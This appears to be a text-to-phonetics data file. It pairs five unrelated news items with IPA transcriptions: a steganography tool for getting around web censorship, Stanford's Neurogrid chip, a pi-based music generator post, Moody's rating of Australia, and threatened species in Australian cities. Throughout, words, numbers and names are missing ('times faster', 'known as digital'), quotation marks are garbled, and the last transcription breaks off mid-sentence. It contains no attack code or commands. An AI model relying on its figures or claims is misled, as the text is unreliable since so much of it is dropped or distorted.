collage relies on a technique known as digital, in which an image file is changed to encode the hidden message without obviously affecting the appearance of the image. a prototype version is due to be unveiled on friday, 13 august.
steganography normally requires specialist software, but collage is designed so that activists and readers can publish and download the hidden stories without any specialist skills. a publisher or activist can, for example, use collage to copy news stories from a website and embed the articles into flickr images in a process that is almost entirely automated.
in the prototype, stories from the bbc news site are used, but in principle any web content could be hidden. collage can hide as many as 15 news articles in just seven flickr images.
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once the material is embedded in a flickr image, anyone with collage can download it and extract the stories. a censor attempting to monitor traffic from a prohibited site would only see the reader visiting flickr, which is not generally blocked by web censors.
collage is able to identify which images have been used to hide material. all the reader has to do is click on the date they are interested in; the stories appear a few minutes later. “it all happens in the background,” says sam burnett at the georgia institute of technology in atlanta, part of the team behind collage.
burnett has designed a flickr upload tool that links with collage and content that publishers or activists want to make available.
collage can also be easily extended so that stories are embedded in other sites. the idea is to spread material across numerous sites that host content so that the activity of someone running collage appears much like that of any internet user and the censors cannot just block access to flickr. collage does, however, rely on the goodwill of flickr users, who will have to provide access to the images where the articles are to be hidden.
burnett is relying on opposition to censorship to motivate people to use collage. “we’re betting on people getting a warm fuzzy feeling because they are beating censorship,” he says.
to coincide with the launch of the prototype, burnett will present a paper on the system at the security symposium in washington dc. | laɪf ɪz əˈbaʊt tɪ bɪˈkəm mɔr ˈdɪfəkəlt fər ˈkəntriz traɪɪŋ tɪ ˈsɛnsər ˈækˌsɛs tɪ ˈfɔrən ˈwɛbˌsaɪts. ə ˈsɪstəm dəbd kəˈlɑʒ wɪl əˈlaʊ ˈjuzərz ɪn ðiz ˈkəntriz tɪ ˈdaʊnˌloʊd ˈstɔriz frəm blɑkt saɪts waɪl ˈvɪzɪtɪŋ ˈsimɪŋli ˌənˌkɑntrəˈvərʃəl saɪts səʧ ɛz ˈflɪkər. kəˈlɑʒ rɪˈlaɪz ɔn ə tɛkˈnik noʊn ɛz ˈdɪʤɪtəl, ɪn wɪʧ ən ˈɪmɪʤ faɪl ɪz ʧeɪnʤd tɪ ɛnˈkoʊd ðə ˈhɪdən ˈmɛsɪʤ wɪˈθaʊt ˈɑbviəsli əˈfɛktɪŋ ðə əˈpɪrəns əv ðə ˈɪmɪʤ. ə ˈproʊtoʊˌtaɪp ˈvərʒən ɪz du tɪ bi ənˈveɪld ɔn ˈfraɪˌdeɪ, 13 ˈɔgəst. ˈnɔrməli rikˈwaɪərz ˈspɛʃəlɪst ˈsɔfˌwɛr, bət kəˈlɑʒ ɪz dɪˈzaɪnd soʊ ðət ˈæktɪvɪsts ənd ˈridərz kən ˈpəblɪʃ ənd ˈdaʊnˌloʊd ðə ˈhɪdən ˈstɔriz wɪˈθaʊt ˈɛni ˈspɛʃəlɪst skɪlz. ə ˈpəblɪʃər ər ˈæktɪvɪst kən, fər ɪgˈzæmpəl, juz kəˈlɑʒ tɪ ˈkɑpi nuz ˈstɔriz frəm ə ˈwɛbˌsaɪt ənd ɪmˈbɛd ðə ˈɑrtɪkəlz ˈɪntu ˈflɪkər ˈɪmɪʤɪz ɪn ə ˈprɔˌsɛs ðət ɪz ˈɔlˌmoʊst ɪnˈtaɪərli ˈɔtəˌmeɪtɪd. ɪn ðə ˈproʊtoʊˌtaɪp, ˈstɔriz frəm ðə ˌbibiˈsi nuz saɪt ər juzd, bət ɪn ˈprɪnsəpəl ˈɛni wɛb ˈkɑntɛnt kʊd bi ˈhɪdən. kəˈlɑʒ kən haɪd ɛz ˈmɛni ɛz 15 nuz ˈɑrtɪkəlz ɪn ʤɪst ˈsɛvən ˈflɪkər ˈɪmɪʤɪz. ˌædvərˈtaɪzmənt nuz fidz wəns ðə məˈtɪriəl ɪz ɛmˈbɛdɪd ɪn ə ˈflɪkər ˈɪmɪʤ, ˈɛniˌwən wɪθ kəˈlɑʒ kən ˈdaʊnˌloʊd ɪt ənd ˈɛkˌstrækt ðə ˈstɔriz. ə ˈsɛnsər əˈtɛmptɪŋ tɪ ˈmɑnətər ˈtræfɪk frəm ə proʊˈhɪbətəd saɪt wʊd ˈoʊnli si ðə ˈridər ˈvɪzɪtɪŋ ˈflɪkər, wɪʧ ɪz nɑt ˈʤɛnərəli blɑkt baɪ wɛb ˈsɛnsərz. kəˈlɑʒ ɪz ˈeɪbəl tɪ aɪˈdɛntəˌfaɪ wɪʧ ˈɪmɪʤɪz hæv bɪn juzd tɪ haɪd məˈtɪriəl. ɔl ðə ˈridər həz tɪ du ɪz klɪk ɔn ðə deɪt ðeɪ ər ˈɪntəˌrɛstɪd ɪn; ðə ˈstɔriz əˈpɪr ə fju ˈmɪnəts ˈleɪtər. ɔl ˈhæpənz ɪn ðə background,”*,” sɪz sæm bərˈnɛt æt ðə ˈʤɔrʤə ˈɪnstɪˌtut əv tɛkˈnɑləʤi ɪn æˈtlæntə, pɑrt əv ðə tim bɪˈhaɪnd kəˈlɑʒ. bərˈnɛt həz dɪˈzaɪnd ə ˈflɪkər ˈəˌploʊd tul ðət lɪŋks wɪθ kəˈlɑʒ ənd ˈkɑntɛnt ðət ˈpəblɪʃərz ər ˈæktɪvɪsts wɔnt tɪ meɪk əˈveɪləbəl. kəˈlɑʒ kən ˈɔlsoʊ bi ˈizəli ɪkˈstɛndɪd soʊ ðət ˈstɔriz ər ɛmˈbɛdɪd ɪn ˈəðər saɪts. ðə aɪˈdiə ɪz tɪ sprɛd məˈtɪriəl əˈkrɔs ˈnumərəs saɪts ðət hoʊst ˈkɑntɛnt soʊ ðət ðə ækˈtɪvɪti əv ˈsəmˌwən ˈrənɪŋ kəˈlɑʒ əˈpɪrz məʧ laɪk ðət əv ˈɛni ˈɪntərˌnɛt ˈjuzər ənd ðə ˈsɛnsərz ˈkænɑt ʤɪst blɑk ˈækˌsɛs tɪ ˈflɪkər. kəˈlɑʒ dɪz, ˌhaʊˈɛvər, rɪˈlaɪ ɔn ðə ˈgʊdˈwɪl əv ˈflɪkər ˈjuzərz, hu wɪl hæv tɪ prəˈvaɪd ˈækˌsɛs tɪ ðə ˈɪmɪʤɪz wɛr ðə ˈɑrtɪkəlz ər tɪ bi ˈhɪdən. bərˈnɛt ɪz riˈlaɪɪŋ ɔn ˌɑpəˈzɪʃən tɪ ˈsɛnsərˌʃɪp tɪ ˈmoʊtəˌveɪt ˈpipəl tɪ juz kəˈlɑʒ. ˈbɛtɪŋ ɔn ˈpipəl ˈgɪtɪŋ ə wɔrm ˈfəzi ˈfilɪŋ bɪˈkəz ðeɪ ər ˈbitɪŋ censorship,”*,” hi sɪz. tɪ ˌkoʊɪnˈsaɪd wɪθ ðə lɔnʧ əv ðə ˈproʊtoʊˌtaɪp, bərˈnɛt wɪl ˈprɛzənt ə ˈpeɪpər ɔn ðə ˈsɪstəm æt ðə sɪˈkjʊrəti sɪmˈpoʊziəm ɪn ˈwɔʃɪŋtən ˌdiˈsi. |
by modeling a circuit board on the human brain, stanford have developed microchips that are times faster than a typical pc. called neurogrid, these circuits could eventually power autonomous robots and advanced prosthetic limbs.
bioengineers are smart to take inspiration from the human brain. it's a highly efficient information processor capable of crunching 100 million instructions per second (mips). astoundingly, it only uses about 20 watts to power its 100 billion neurons. today, our best supercomputers require a million watts to simulate a million neurons in real time (measured in terraflops). a standard desktop computer requires about times more power to run and operates about times slower.
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the goal, therefore, is to produce information technologies with the power of the human brain. there are several initiatives underway that are working to achieve this goal, including chips (and accompanying programming language), the university of heidelberg's chip, and initiatives like the european human brain project.
we can now add another project to the list: stanford's neurogrid. but unlike other current efforts, this "neuromorphic" system boasts some incredible features.
an analog state of mind
the new circuit board, developed by and his colleagues at stanford, consists of 16 "neurocore" chips working in a tree network configuration. each of the 16 supports neurons. together, these chips can simulate one million neurons and billions of connections. and incredibly, needs just three watts of power to get the job done.
the designers used traditional transistors, but instead of using digital logic, they used them as analog circuits. to mimic the functions of the human brain (albeit on a drastically reduced scale), the researchers emulated all neural elements (except the soma) with shared electronic circuits a design decision that maximized the number of connections. to maximize energy efficiency, the researchers used analog circuits. and to maximize throughput, they interconnected the neural arrays in a tree network.
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it's considered the most way to simulate neurons. but at $40,000 a piece, the researchers are going to have to figure out a way to drive the costs down.
miniaturization, autonomy, power
ramped-up and refined versions of this technology could be put to good use. in addition to improving our understanding of how the human brain works, it could be used to interpret signals from the brain and, in real time, use those signals to drive prosthetic limbs for paralyzed people.
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these chips could also be used in robotics. a robot implanted with a-like chip wouldn't have to be tethered to a power supply, thus increasing its autonomy.
read the entire study at proceedings of the ieee: "neurogrid: a system for large-scale neural simulations." supplemental information via stanford.
image: kurt hickman/stanford.
follow me on twitter: @dvorsky | baɪ ˈmɑdəlɪŋ ə ˈsərkət bɔrd ɔn ðə ˈjumən breɪn, ˈstænfərd hæv dɪˈvɛləpt ˈmaɪˌkroʊˈʧɪps ðət ər taɪmz ˈfæstər ðən ə ˈtɪpɪkəl ˈpiˈsi. kɔld neurogrid*, ðiz ˈsərkəts kʊd ɪˈvɛnʧəwəli paʊər ɔˈtɑnəməs ˈroʊˌbəts ənd ədˈvænst prɑsˈθɛtɪk lɪmz. ər smɑrt tɪ teɪk ˌɪnspərˈeɪʃən frəm ðə ˈjumən breɪn. ɪts ə ˈhaɪli ɪˈfɪʃənt ˌɪnˌfɔrˈmeɪʃən ˈprɑˌsɛsər ˈkeɪpəbəl əv ˈkrənʧɪŋ 100 ˈmɪljən ˌɪnˈstrəkʃənz pər ˈsɛkənd (mɪps). əˈstaʊndɪŋli, ɪt ˈoʊnli ˈjuzɪz əˈbaʊt 20 wɑts tɪ paʊər ɪts 100 ˈbɪljən ˈnʊrɑnz. təˈdeɪ, ɑr bɛst ˌsupərkəmˈpjutərz ˌrikˈwaɪər ə ˈmɪljən wɑts tɪ ˈsɪmjəˌleɪt ə ˈmɪljən ˈnʊrɑnz ɪn ril taɪm (ˈmɛʒərd ɪn terraflops*). ə ˈstændərd ˈdɛskˌtɑp kəmˈpjutər rikˈwaɪərz əˈbaʊt taɪmz mɔr paʊər tɪ rən ənd ˈɑpərˌeɪts əˈbaʊt taɪmz sloʊər. ˌædvərˈtaɪzmənt ðə goʊl, ˈðɛrˌfɔr, ɪz tɪ ˈproʊdus ˌɪnˌfɔrˈmeɪʃən tɛkˈnɑləʤiz wɪθ ðə paʊər əv ðə ˈjumən breɪn. ðɛr ər ˈsɛvərəl ˌɪˈnɪʃətɪvz ˌəndərˈweɪ ðət ər ˈwərkɪŋ tɪ əˈʧiv ðɪs goʊl, ˌɪnˈkludɪŋ ʧɪps (ənd əˈkəmpəniɪŋ ˈproʊˌgræmɪŋ ˈlæŋgwɪʤ), ðə ˌjunəˈvərsəti əv ˈhaɪdəlbərgz ʧɪp, ənd ˌɪˈnɪʃətɪvz laɪk ðə ˌjʊrəˈpiən ˈjumən breɪn ˈprɑʤɛkt. wi kən naʊ æd əˈnəðər ˈprɑʤɛkt tɪ ðə lɪst: ˈstænfərdz neurogrid*. bət ənˈlaɪk ˈəðər ˈkɑrənt ˈɛfərts, ðɪs "ˈnʊroʊˌmɔrfɪk" ˈsɪstəm boʊsts səm ˌɪnˈkrɛdəbəl ˈfiʧərz. ən ˈænəˌlɔg steɪt əv maɪnd ðə nu ˈsərkət bɔrd, dɪˈvɛləpt baɪ ənd hɪz ˈkɑligz æt ˈstænfərd, kənˈsɪsts əv 16 "neurocore*" ʧɪps ˈwərkɪŋ ɪn ə tri ˈnɛtˌwərk kənˌfɪgjərˈeɪʃən. iʧ əv ðə 16 səˈpɔrts ˈnʊrɑnz. təˈgɛðər, ðiz ʧɪps kən ˈsɪmjəˌleɪt wən ˈmɪljən ˈnʊrɑnz ənd ˈbɪljənz əv kəˈnɛkʃənz. ənd ˌɪnˈkrɛdəbli, nidz ʤɪst θri wɑts əv paʊər tɪ gɪt ðə ʤɑb dən. ðə dɪˈzaɪnərz juzd trəˈdɪʃənəl trænˈzɪstərz, bət ˌɪnˈstɛd əv ˈjuzɪŋ ˈdɪʤɪtəl ˈlɑʤɪk, ðeɪ juzd ðɛm ɛz ˈænəˌlɔg ˈsərkəts. tɪ ˈmɪmɪk ðə ˈfəŋkʃənz əv ðə ˈjumən breɪn (ɔlˈbiɪt ɔn ə ˈdræstɪkli rɪˈdust skeɪl), ðə ˈrisərʧərz ˈɛmjəˌleɪtɪd ɔl ˈnʊrəl ˈɛləmənts (ɪkˈsɛpt ðə ˈsoʊmə) wɪθ ʃɛrd ˌɪˌlɛkˈtrɑnɪk ˈsərkəts ə dɪˈzaɪn dɪˈsɪʒən ðət ˈmæksəˌmaɪzd ðə ˈnəmbər əv kəˈnɛkʃənz. tɪ ˈmæksəˌmaɪz ˈɛnərʤi ɪˈfɪʃənsi, ðə ˈrisərʧərz juzd ˈænəˌlɔg ˈsərkəts. ənd tɪ ˈmæksəˌmaɪz θˈruˌpʊt, ðeɪ ˌɪntərkəˈnɛktɪd ðə ˈnʊrəl əreɪz ɪn ə tri ˈnɛtˌwərk. ˌædvərˈtaɪzmənt ɪts kənˈsɪdərd ðə moʊst weɪ tɪ ˈsɪmjəˌleɪt ˈnʊrɑnz. bət æt ə pis, ðə ˈrisərʧərz ər goʊɪŋ tɪ hæv tɪ ˈfɪgjər aʊt ə weɪ tɪ draɪv ðə kɔsts daʊn. ˌmɪniəˌʧərɪˈzeɪʃən, əˈtɑnəmi, paʊər ənd rɪˈfaɪnd ˈvərʒənz əv ðɪs tɛkˈnɑləʤi kʊd bi pʊt tɪ gʊd juz. ɪn əˈdɪʃən tɪ ˌɪmˈpruvɪŋ ɑr ˌəndərˈstændɪŋ əv haʊ ðə ˈjumən breɪn wərks, ɪt kʊd bi juzd tɪ ˌɪnˈtərprət ˈsɪgnəlz frəm ðə breɪn ənd, ɪn ril taɪm, juz ðoʊz ˈsɪgnəlz tɪ draɪv prɑsˈθɛtɪk lɪmz fər ˈpɛrəˌlaɪzd ˈpipəl. ˌædvərˈtaɪzmənt ðiz ʧɪps kʊd ˈɔlsoʊ bi juzd ɪn ˌroʊˈbɑtɪks. ə ˈroʊˌbət ˌɪmˈplæntɪd wɪθ ə ʧɪp ˈwʊdənt hæv tɪ bi ˈtɛðərd tɪ ə paʊər səˈplaɪ, ðəs ˌɪnˈkrisɪŋ ɪts əˈtɑnəmi. rɛd ðə ɪnˈtaɪər ˈstədi æt prəˈsidɪŋz əv ðə ieee*: "neurogrid*: ə ˈsɪstəm fər ˈlɑrʤˌskeɪl ˈnʊrəl ˌsɪmjəˈleɪʃənz." ˌsəpləˈmɛntəl ˌɪnˌfɔrˈmeɪʃən ˈviə ˈstænfərd. ˈɪmɪʤ: kərt hickman/stanford*. ˈfɑloʊ mi ɔn tˈwɪtər: @dˈvɔrski |
since the pi house generator was posted on make and some other places today and been meaning to do it for a while, posting a longer sample of the output. this is an hour and half randomly selected from a 10 hour recording i made recently (~100mb download).
update: here is a torrent of the full 10 hours, please seed!
update2: been told the torrent working. i look into it now, but try again in a few days.
update3: a bunch of people have emailed asking about getting a copy of the pi house program. i may release it at some point, but it needs some work to be ready for public release and it currently only supports samples, which means the samples take up over a gig.
update4: because i got i had to temporarily remove thes, i ran out of bandwidth. looking for somebody else to host them…
update5:s back up. | sɪns ðə paɪ haʊs ˈʤɛnərˌeɪtər wɑz ˈpoʊstɪd ɔn meɪk ənd səm ˈəðər ˈpleɪsɪz təˈdeɪ ənd bɪn ˈminɪŋ tɪ du ɪt fər ə waɪl, ˈpoʊstɪŋ ə ˈlɔŋgər ˈsæmpəl əv ðə ˈaʊtˌpʊt. ðɪs ɪz ən aʊər ənd hæf ˈrændəmli səˈlɛktɪd frəm ə 10 aʊər rɪˈkɔrdɪŋ aɪ meɪd ˈrisəntli ˈdaʊnˌloʊd). ˈəpˌdeɪt: hir ɪz ə ˈtɔrənt əv ðə fʊl 10 aʊərz, pliz sid! bɪn toʊld ðə ˈtɔrənt ˈwərkɪŋ. aɪ lʊk ˈɪntu ɪt naʊ, bət traɪ əˈgɛn ɪn ə fju deɪz. ə bənʧ əv ˈpipəl hæv iˈmeɪld ˈæskɪŋ əˈbaʊt ˈgɪtɪŋ ə ˈkɑpi əv ðə paɪ haʊs ˈproʊˌgræm. aɪ meɪ riˈlis ɪt æt səm pɔɪnt, bət ɪt nidz səm wərk tɪ bi ˈrɛdi fər ˈpəblɪk riˈlis ənd ɪt ˈkərəntli ˈoʊnli səˈpɔrts ˈsæmpəlz, wɪʧ minz ðə ˈsæmpəlz teɪk əp ˈoʊvər ə gɪg. bɪˈkəz aɪ gɑt aɪ hæd tɪ ˌtɛmpərˈɛrəli riˈmuv ðə, aɪ ræn aʊt əv ˈbændwɪdθ. ˈlʊkɪŋ fər ˈsəmˌbɑdi ɛls tɪ hoʊst them…*… bæk əp. |
moody's affirms australia's aaa rating
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moody's credit rating agency has reaffirmed australia's aaa sovereign debt rating.
moody's says the rating is based on very high economic resiliency, very high government financial strength and low susceptibility to risk.
the australian government has very low gross debt that is easily affordable, compared to most other nations with that rating, it says.
"as one of the world's most advanced economies, the country has not only a significant natural resource sector - including minerals, hydrocarbons, and agriculture - but also well developed manufacturing and service sectors," the report said.
"it also demonstrates strong governance indicators. in particular, the framework for fiscal policy is transparent and has, until now, consistently kept government debt at low levels."
acting prime minister wayne swan says it is another resounding endorsement of australia's sturdy public finances and strong economic fundamentals.
"once again, this shows that people like mr abbott and mr hockey who continually talk economy down are wrong," mr swan said.
"despite the substantial global headwinds that are hitting our economy, australians have reason to be confident about our economic strengths that are unmatched by just about any other developed economy.
"we have a solidly growing economy, low unemployment, contained inflation, strong public finances and a record pipeline of investment that is gathering pace."
the report does note that australia will have to implement policies to deal with its population.
last month, fitch ratings upgraded its assessment of australia's sovereign debt to aaa, making it the first time australia has attained the top rating from all three international agencies.
topics: business-economics-and-finance, economic-trends, markets, australia
first posted | ˈmudiz əˈfərmz ɔˈstreɪljəz ˌtrɪpəˈleɪ ˈreɪtɪŋ ˈəpˌdeɪtɪd ˈmudiz ˈkrɛdɪt ˈreɪtɪŋ ˈeɪʤənsi həz ˌriəˈfərmd ɔˈstreɪljəz ˌtrɪpəˈleɪ ˈsɑvrən dɛt ˈreɪtɪŋ. ˈmudiz sɪz ðə ˈreɪtɪŋ ɪz beɪst ɔn ˈvɛri haɪ ˌɛkəˈnɑmɪk rɪˈzɪljənsi, ˈvɛri haɪ ˈgəvərnmənt ˌfaɪˈnænʃəl strɛŋθ ənd loʊ səˌsɛptəˈbɪləti tɪ rɪsk. ðə ɔˈstreɪljən ˈgəvərnmənt həz ˈvɛri loʊ groʊs dɛt ðət ɪz ˈizəli əˈfɔrdəbəl, kəmˈpɛrd tɪ moʊst ˈəðər ˈneɪʃənz wɪθ ðət ˈreɪtɪŋ, ɪt sɪz. "ɛz wən əv ðə wərldz moʊst ədˈvænst ɪˈkɑnəmiz, ðə ˈkəntri həz nɑt ˈoʊnli ə sɪgˈnɪfɪkənt ˈnæʧərəl ˈrisɔrs ˈsɛktər ˌɪnˈkludɪŋ ˈmɪnərəlz, ˌhaɪdroʊˈkɑrbənz, ənd ˈægrɪˌkəlʧər bət ˈɔlsoʊ wɛl dɪˈvɛləpt ˌmænjəˈfækʧərɪŋ ənd ˈsərvɪs ˈsɛktərz," ðə rɪˈpɔrt sɛd. "ɪt ˈɔlsoʊ ˈdɛmənˌstreɪts strɔŋ ˈgəvərnəns ˈɪndəˌkeɪtərz. ɪn ˌpɑˈtɪkjələr, ðə ˈfreɪmˌwərk fər ˈfɪskəl ˈpɑləsi ɪz trænˈspɛrənt ənd həz, ənˈtɪl naʊ, kənˈsɪstəntli kɛpt ˈgəvərnmənt dɛt æt loʊ ˈlɛvəlz." ˈæktɪŋ praɪm ˈmɪnɪstər weɪn swɔn sɪz ɪt ɪz əˈnəðər riˈsaʊndɪŋ ɛnˈdɔrsmənt əv ɔˈstreɪljəz ˈstərdi ˈpəblɪk ˈfaɪˌnænsɪz ənd strɔŋ ˌɛkəˈnɑmɪk ˌfəndəˈmɛnəlz. "wəns əˈgɛn, ðɪs ʃoʊz ðət ˈpipəl laɪk ˈmɪstər ˈæbət ənd ˈmɪstər ˈhɑki hu kənˈtɪnjuəli tɔk ɪˈkɑnəmi daʊn ər rɔŋ," ˈmɪstər swɔn sɛd. "dɪˈspaɪt ðə səbˈstænʃəl ˈgloʊbəl ˈhɛdˌwɪndz ðət ər ˈhɪtɪŋ ɑr ɪˈkɑnəmi, ɔˈstreɪljənz hæv ˈrizən tɪ bi ˈkɑnfədənt əˈbaʊt ɑr ˌɛkəˈnɑmɪk strɛŋθs ðət ər ənˈmæʧt baɪ ʤɪst əˈbaʊt ˈɛni ˈəðər dɪˈvɛləpt ɪˈkɑnəmi. "wi hæv ə ˈsɑlədli groʊɪŋ ɪˈkɑnəmi, loʊ ˌənɪmˈplɔɪmənt, kənˈteɪnd ˌɪnˈfleɪʃən, strɔŋ ˈpəblɪk ˈfaɪˌnænsɪz ənd ə ˈrɛkərd ˈpaɪˌplaɪn əv ˌɪnˈvɛstmənt ðət ɪz ˈgæðərɪŋ peɪs." ðə rɪˈpɔrt dɪz noʊt ðət ɔˈstreɪljə wɪl hæv tɪ ˈɪmpləmənt ˈpɑləsiz tɪ dil wɪθ ɪts ˌpɑpjəˈleɪʃən. læst mənθ, fɪʧ ˈreɪtɪŋz ˈəpˌgreɪdɪd ɪts əˈsɛsmənt əv ɔˈstreɪljəz ˈsɑvrən dɛt tɪ ˌtrɪpəˈleɪ, ˈmeɪkɪŋ ɪt ðə fərst taɪm ɔˈstreɪljə həz əˈteɪnd ðə tɔp ˈreɪtɪŋ frəm ɔl θri ˌɪnərˈnæʃənɑl ˈeɪʤənsiz. ˈtɑpɪks: business-economics-and-finance*, economic-trends*, ˈmɑrkɪts, ɔˈstreɪljə fərst ˈpoʊstɪd |
the average australian city is home to 32 threatened species, according to a study recently published in the journal global ecology and.
“the finding was surprising because we generally write off cities as ‘lost causes’ when it comes to conservation,” says pia lentini, a research fellow at the university of school of biosciences and a member of the study team. “we tend to imagine that threatened species are only found in far away national parks or remote areas.”
not so, lentini and her colleagues found. in fact their study, the first analysis of threatened species and cities, suggests that urban areas are disproportionately rich in threatened species compared to areas.
the researchers compiled data on the distribution of threatened species, including plants and 428 animals. they compared these maps to the locations of 99 cities that have more than residents.
they found that 503 threatened species, or 30 percent of the total, have distributions that overlap with urban areas. this includes 25 percent of listed plants and 46 percent of listed animals species like the koala, flying fox, swift parrot, black cockatoo, green and gold bell frog, and lots of orchids.
some species are heavily dependent on urban habitat, in fact. for 51 of the species, at least 30 percent of their range falls within urban areas. and eight threatened species, all plants, are entirely confined to cities. for example, the nielsen park is found only within metropolitan sydney, and the only in a rapidly developing part of melbourne.
each australian city contains a different suite of threatened species. about half of the species, or 258, are found in only one city each. but all 99 of the cities are known or likely to be home to at least one threatened animal, and 88 of them are known or likely to harbor threatened plants. sydney contains the most threatened species, with 124 found there.
even more striking, the researchers found that acre for acre, urban areas contain more threatened species than do areas, leading them to dub cities “hotspots” for threatened species.
as an extra test of this finding, the researchers also created “dummy” cities equivalent in area and in the same as each of the 99 real cities. true cities contain more threatened species than dummy cities, they found.
in some ways this is no surprise. cities tend to be located in areas of high biodiversity, because humans just like other living things know a promising patch of habitat when they see one. and once urbanization gets going, of course, it tends to put the squeeze on wild plants and animals.
but the findings also suggest that with a little more care and consideration cities could make a major contribution to conservation. urban areas commonly contain patches of native habitat interspersed with development, after all. moreover, landscapes planted and maintained by humans can help certain species through lean times of the year.
even so, policymakers often consider urban habitat degraded and insignificant, the researchers note, and therefore permit development that further erodes habitat for threatened species, bit by little bit. so the assumption that cities matter not only means missed opportunities for conservation, but paradoxically, could itself be a threat to endangered species survival. sarah | january 5, 2016
source: ives c.d. et al. “cities are for threatened species.” global ecology and doi:
header image: black cockatoo latirostris), photographed in a suburb of perth, australia. the endangered bird relies on an introduced pine plantation in perth for food. credit: ralph green via flickr. | ðə ˈævərɪʤ ɔˈstreɪljən ˈsɪti ɪz hoʊm tɪ 32 θˈrɛtənd ˈspiʃiz, əˈkɔrdɪŋ tɪ ə ˈstədi ˈrisəntli ˈpəblɪʃt ɪn ðə ˈʤərnəl ˈgloʊbəl ɪˈkɑləʤi ənd. ˈfaɪndɪŋ wɑz səˈpraɪzɪŋ bɪˈkəz wi ˈʤɛnərəli raɪt ɔf ˈsɪtiz ɛz causes’*’ wɪn ɪt kəmz tɪ conservation,”*,” sɪz ˈpiə lɛnˈtini, ə ˈrisərʧ ˈfɛloʊ æt ðə ˌjunəˈvərsəti əv skul əv ˌbaɪoʊˈsaɪənsɪz ənd ə ˈmɛmbər əv ðə ˈstədi tim. tɛnd tɪ ˌɪˈmæʤən ðət θˈrɛtənd ˈspiʃiz ər ˈoʊnli faʊnd ɪn fɑr əˈweɪ ˈnæʃənəl pɑrks ər rɪˈmoʊt areas.”*.” nɑt soʊ, lɛnˈtini ənd hər ˈkɑligz faʊnd. ɪn fækt ðɛr ˈstədi, ðə fərst æˈnælɪsɪs əv θˈrɛtənd ˈspiʃiz ənd ˈsɪtiz, səˈʤɛsts ðət ˈərbən ˈɛriəz ər ˌdɪsprəˈpɔrʃənətli rɪʧ ɪn θˈrɛtənd ˈspiʃiz kəmˈpɛrd tɪ ˈɛriəz. ðə ˈrisərʧərz kəmˈpaɪld ˈdætə ɔn ðə ˌdɪstrəˈbjuʃən əv θˈrɛtənd ˈspiʃiz, ˌɪnˈkludɪŋ plænts ənd 428 ˈænəməlz. ðeɪ kəmˈpɛrd ðiz mæps tɪ ðə loʊˈkeɪʃənz əv 99 ˈsɪtiz ðət hæv mɔr ðən ˈrɛzɪdənts. ðeɪ faʊnd ðət 503 θˈrɛtənd ˈspiʃiz, ər 30 pərˈsɛnt əv ðə ˈtoʊtəl, hæv ˌdɪstrəˈbjuʃənz ðət ˈoʊvərˌlæp wɪθ ˈərbən ˈɛriəz. ðɪs ˌɪnˈkludz 25 pərˈsɛnt əv ˈlɪstɪd plænts ənd 46 pərˈsɛnt əv ˈlɪstɪd ˈænəməlz ˈspiʃiz laɪk ðə koʊˈɑlə, flaɪɪŋ fɑks, swɪft ˈpɛrət, blæk ˈkɑkəˌtu, grin ənd goʊld bɛl frɑg, ənd lɑts əv ˈɔrkədz. səm ˈspiʃiz ər ˈhɛvəli dɪˈpɛndənt ɔn ˈərbən ˈhæbəˌtæt, ɪn fækt. fər 51 əv ðə ˈspiʃiz, æt list 30 pərˈsɛnt əv ðɛr reɪnʤ fɔlz wɪˈθɪn ˈərbən ˈɛriəz. ənd eɪt θˈrɛtənd ˈspiʃiz, ɔl plænts, ər ɪnˈtaɪərli kənˈfaɪnd tɪ ˈsɪtiz. fər ɪgˈzæmpəl, ðə ˈnilsən pɑrk ɪz faʊnd ˈoʊnli wɪˈθɪn ˌmɛtrəˈpɑlətən ˈsɪdni, ənd ðə ˈoʊnli ɪn ə ˈræpədli dɪˈvɛləpɪŋ pɑrt əv ˈmɛlbərn. iʧ ɔˈstreɪljən ˈsɪti kənˈteɪnz ə ˈdɪfərənt swit əv θˈrɛtənd ˈspiʃiz. əˈbaʊt hæf əv ðə ˈspiʃiz, ər 258 ər faʊnd ɪn ˈoʊnli wən ˈsɪti iʧ. bət ɔl 99 əv ðə ˈsɪtiz ər noʊn ər ˈlaɪkli tɪ bi hoʊm tɪ æt list wən θˈrɛtənd ˈænəməl, ənd 88 əv ðɛm ər noʊn ər ˈlaɪkli tɪ ˈhɑrbər θˈrɛtənd plænts. ˈsɪdni kənˈteɪnz ðə moʊst θˈrɛtənd ˈspiʃiz, wɪθ 124 faʊnd ðɛr. ˈivɪn mɔr ˈstraɪkɪŋ, ðə ˈrisərʧərz faʊnd ðət ˈeɪkər fər ˈeɪkər, ˈərbən ˈɛriəz kənˈteɪn mɔr θˈrɛtənd ˈspiʃiz ðən du ˈɛriəz, ˈlidɪŋ ðɛm tɪ dəb ˈsɪtiz ““hotspots”*” fər θˈrɛtənd ˈspiʃiz. ɛz ən ˈɛkstrə tɛst əv ðɪs ˈfaɪndɪŋ, ðə ˈrisərʧərz ˈɔlsoʊ kriˈeɪtɪd ““dummy”*” ˈsɪtiz ɪkˈwɪvələnt ɪn ˈɛriə ənd ɪn ðə seɪm ɛz iʧ əv ðə 99 ril ˈsɪtiz. tru ˈsɪtiz kənˈteɪn mɔr θˈrɛtənd ˈspiʃiz ðən ˈdəmi ˈsɪtiz, ðeɪ faʊnd. ɪn səm weɪz ðɪs ɪz noʊ səˈpraɪz. ˈsɪtiz tɛnd tɪ bi ˈloʊˌkeɪtəd ɪn ˈɛriəz əv haɪ ˌbaɪoʊdaɪˈvərsəti, bɪˈkəz ˈjumənz ʤɪst laɪk ˈəðər ˈlɪvɪŋ θɪŋz noʊ ə ˈprɑməsɪŋ pæʧ əv ˈhæbəˌtæt wɪn ðeɪ si wən. ənd wəns ˌərbənɪˈzeɪʃən gɪts goʊɪŋ, əv kɔrs, ɪt tɛndz tɪ pʊt ðə skwiz ɔn waɪld plænts ənd ˈænəməlz. bət ðə ˈfaɪndɪŋz ˈɔlsoʊ səˈʤɛst ðət wɪθ ə ˈlɪtəl mɔr kɛr ənd kənˌsɪdərˈeɪʃən ˈsɪtiz kʊd meɪk ə ˈmeɪʤər ˌkɑntrəˈbjuʃən tɪ ˌkɑnsərˈveɪʃən. ˈərbən ˈɛriəz ˈkɑmənli kənˈteɪn ˈpæʧɪz əv ˈneɪtɪv ˈhæbəˌtæt ˌɪntərˈspərst wɪθ dɪˈvɛləpmənt, ˈæftər ɔl. mɔˈroʊvər, ˈlænˌskeɪps ˈplænɪd ənd meɪnˈteɪnd baɪ ˈjumənz kən hɛlp ˈsərtən ˈspiʃiz θru lin taɪmz əv ðə jɪr. ˈivɪn soʊ, ˈpɑləsiˌmeɪkərz ˈɔfən kənˈsɪdər ˈərbən ˈhæbəˌtæt dɪˈgreɪdɪd ənd 